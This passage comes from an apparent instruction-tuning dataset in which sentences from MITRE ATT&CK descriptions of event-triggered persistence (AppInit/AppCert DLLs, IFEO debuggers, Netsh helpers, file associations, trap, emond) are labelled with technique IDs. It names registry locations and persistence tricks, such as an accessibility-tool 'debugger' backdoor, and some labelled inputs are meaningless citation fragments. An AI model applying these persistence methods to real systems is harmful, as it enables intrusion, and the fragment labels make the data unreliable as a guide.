<code>~/.zshrc</code> to configure the user environment.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "output": "T1546.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For legacy programs, macOS executes <code>/etc/bashrc</code> on startup. ### Response: T1546.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In practice this is nearly every program, since user32.dll is a very common library.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In practice this is nearly every program, since user32.dll is a very common library. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Registry)", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Registry) ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Secure Boot)", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Secure Boot) ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation:", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap Manual)(Citation:", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap Manual)(Citation: ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cyberciti Trap Statements)", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cyberciti Trap Statements) ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh)", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner.", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", "output": "T1546.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) ### Response: T1546.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs enable a developer to attach a debugger to an application.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs enable a developer to attach a debugger to an application. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-g  notepad.exe</code>).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -g  notepad.exe</code>). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by a file type association.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by a file type association. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a file is opened, the default program used to open the file (also called the file association or handler) is checked. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": ": Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation:", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012) ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.", "output": "T1546.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ### Response: T1546.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The rule files are in the plist format and define the name, event type, and action to take.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The rule files are in the plist format and define the name, event type, and action to take. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some examples of event types include system startup and user authentication.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some examples of event types include system startup and user authentication. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of actions are to run a system command or send an email.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of actions are to run a system command or send an email. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation:", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) ### Response: T1546.014."}{"instruction": "List the MITRE 